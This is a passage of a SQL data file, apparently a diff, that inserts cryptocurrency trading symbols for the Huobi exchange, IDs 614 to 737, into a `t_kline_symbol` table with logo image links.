NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/value-liquidity.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (614, 'huobi', 'yamv2', 'YAMV2', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (615, 'huobi', 'xrt', 'XRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/robonomics-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (616, 'huobi', 'pearl', 'PEARL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pearl.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (617, 'huobi', 'pha', 'PHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (618, 'huobi', 'cvp', 'CVP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/concentrated-voting-power.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (619, 'huobi', 'swrv', 'SWRV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swerve-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (620, 'huobi', 'bot', 'BOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bodhi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (621, 'huobi', 'sun', 'SUN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sun-token-new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (622, 'huobi', 'gof', 'GOF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golff.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (623, 'huobi', 'wbtc', 'WBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (624, 'huobi', 'renbtc', 'RENBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/renbtc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (625, 'huobi', 'dht', 'DHT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dhedge-dao.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (626, 'huobi', 'front', 'FRONT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frontier.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (627, 'huobi', 'titan', 'TITAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titanswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (628, 'huobi', 'wing', 'WING', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wing-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (629, 'huobi', 'link3l', 'LINK3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (630, 'huobi', 'link3s', 'LINK3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (631, 'huobi', 'cru', 'CRU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crust.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (632, 'huobi', 'nbs', 'NBS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newbitshares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (633, 'huobi', 'dot2l', 'DOT2L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (634, 'huobi', 'dot2s', 'DOT2S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (635, 'huobi', 'uni2l', 'UNI2L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (636, 'huobi', 'uni2s', 'UNI2S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (637, 'huobi', 'fis', 'FIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stafi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (638, 'huobi', 'bsv3l', 'BSV3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (639, 'huobi', 'bsv3s', 'BSV3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (640, 'huobi', 'bch3l', 'BCH3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (641, 'huobi', 'bch3s', 'BCH3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (642, 'huobi', 'ghst', 'GHST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavegotchi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (643, 'huobi', 'eos3l', 'EOS3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (644, 'huobi', 'eos3s', 'EOS3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (645, 'huobi', 'mass', 'MASS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massnet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (646, 'huobi', 'ltc3l', 'LTC3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (647, 'huobi', 'ltc3s', 'LTC3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (648, 'huobi', 'nu', 'NU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nucypher.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (649, 'huobi', 'xrp3l', 'XRP3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (650, 'huobi', 'xrp3s', 'XRP3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (651, 'huobi', 'oxt', 'OXT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orchid.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (652, 'huobi', 'bcha', 'BCHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoincashabc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (653, 'huobi', 'zec3l', 'ZEC3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (654, 'huobi', 'zec3s', 'ZEC3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (655, 'huobi', 'beth', 'BETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (656, 'huobi', 'rub', 'RUB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rubychain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (657, 'huobi', 'nsure', 'NSURE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nsure-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (658, 'huobi', 'fil3l', 'FIL3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (659, 'huobi', 'fil3s', 'FIL3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (660, 'huobi', 'nhbtc', 'NHBTC', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (661, 'huobi', 'pond', 'POND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marlin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (662, 'huobi', 'onx', 'ONX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onix.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (663, 'huobi', 'gbp', 'GBP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gbp.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (664, 'huobi', 'kzt', 'KZT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kzt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (665, 'huobi', 'uah', 'UAH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uah.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (666, 'huobi', 'eur', 'EUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eur.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (667, 'huobi', 'pols', 'POLS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkastarter.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (668, 'huobi', 'bag', 'BAG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitagora.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (669, 'huobi', 'bags', 'BAGS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bagstoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (670, 'huobi', 'badger', 'BADGER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/badger-dao.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (671, 'huobi', 'mdx', 'MDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (672, 'huobi', 'sofi', 'SOFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rai-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (673, 'huobi', 'yam', 'YAM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v3.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (674, 'huobi', 'zks', 'ZKS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zks.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (675, 'huobi', 'stake', 'STAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdai-stake.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (676, 'huobi', 'lhb', 'LHB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lendhub.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (677, 'huobi', 'nsbt', 'NSBT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neutrino-system-base-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (678, 'huobi', 'filda', 'FILDA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filda.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (679, 'huobi', 'can', 'CAN', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (680, 'huobi', 'don', 'DON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/don-key.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (681, 'huobi', 'xym', 'XYM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/symbol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (682, 'huobi', 'stn', 'STN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stone-toke.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (683, 'huobi', 'insur', 'INSUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insurchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (684, 'huobi', 'qi', 'QI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benqi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (685, 'huobi', 'apn', 'APN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apron.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (686, 'huobi', 'mir', 'MIR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mirror-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (687, 'huobi', 'forth', 'FORTH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ampleforth-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (688, 'huobi', 'pundix', 'PUNDIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x-2.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (689, 'huobi', 'cspr', 'CSPR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/casper-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (690, 'huobi', 'shib', 'SHIB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiba-inu.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (691, 'huobi', 'lat', 'LAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/platon-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (692, 'huobi', 'xch', 'XCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chia-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (693, 'huobi', 'o3', 'O3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/o3-swap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (694, 'huobi', 'nft', 'NFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apenft.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (695, 'huobi', 'dao', 'DAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dao-maker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (696, 'huobi', 'amp', 'AMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amp-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (697, 'huobi', 'boring', 'BORING', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boringdao-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (698, 'huobi', 'brl', 'BRL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brl.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (699, 'huobi', 'xec', 'XEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecash.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (700, 'huobi', 'dfa', 'DFA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/define.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (701, 'huobi', 'clv', 'CLV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clover-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (702, 'huobi', 'sku', 'SKU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sakura.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (703, 'huobi', 'xprt', 'XPRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/persistence.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (704, 'huobi', 'epik', 'EPIK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epikprime.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (705, 'huobi', 'whale', 'WHALE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whale.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (706, 'huobi', 'tribe', 'TRIBE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tribe-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (707, 'huobi', 'ygg', 'YGG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-guild-games.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (708, 'huobi', 'push', 'PUSH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-push-notification-service.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (709, 'huobi', 'orbs', 'ORBS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (710, 'huobi', 'talk', 'TALK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btctalkcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (711, 'huobi', 'rly', 'RLY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rally-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (712, 'huobi', 'stf', 'STF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/structure-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (713, 'huobi', 'pgala', 'PGALA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pgala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (714, 'huobi', 'wozx', 'WOZX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wozx.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (715, 'huobi', 'eden', 'EDEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/archer-dao-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (716, 'huobi', 'galft', 'GALFT', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (717, 'huobi', 'psg', 'PSG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paris-saint-germain-fan-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (718, 'huobi', 'juv', 'JUV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juventus-fan-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (719, 'huobi', 'cere', 'CERE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/cerenetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (720, 'huobi', 'ngl', 'NGL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gold-fever-native-gold.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (721, 'huobi', 'movr', 'MOVR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonriver.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (722, 'huobi', 'sdn', 'SDN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiden-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (723, 'huobi', 'efi', 'EFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/efinity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (724, 'huobi', 'boba', 'BOBA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boba-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (725, 'huobi', 'unic', 'UNIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unicoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (726, 'huobi', 'sgb', 'SGB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/songbird.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (727, 'huobi', 'mono', 'MONO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/monopolist.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (728, 'huobi', 'war', 'WAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yieldwars.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (729, 'huobi', 'ioi', 'IOI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ioi-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (730, 'huobi', 'bico', 'BICO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biconomy.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (731, 'huobi', 'pyr', 'PYR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vulcan-forged.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (732, 'huobi', 'kma', 'KMA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/calamari-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (733, 'huobi', 'rifi', 'RIFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rikkei-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (734, 'huobi', 'lith', 'LITH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lithium-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (735, 'huobi', 'opul', 'OPUL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/opulous.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (736, 'huobi', 'fox', 'FOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fox-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (737, 'huobi', 'super', 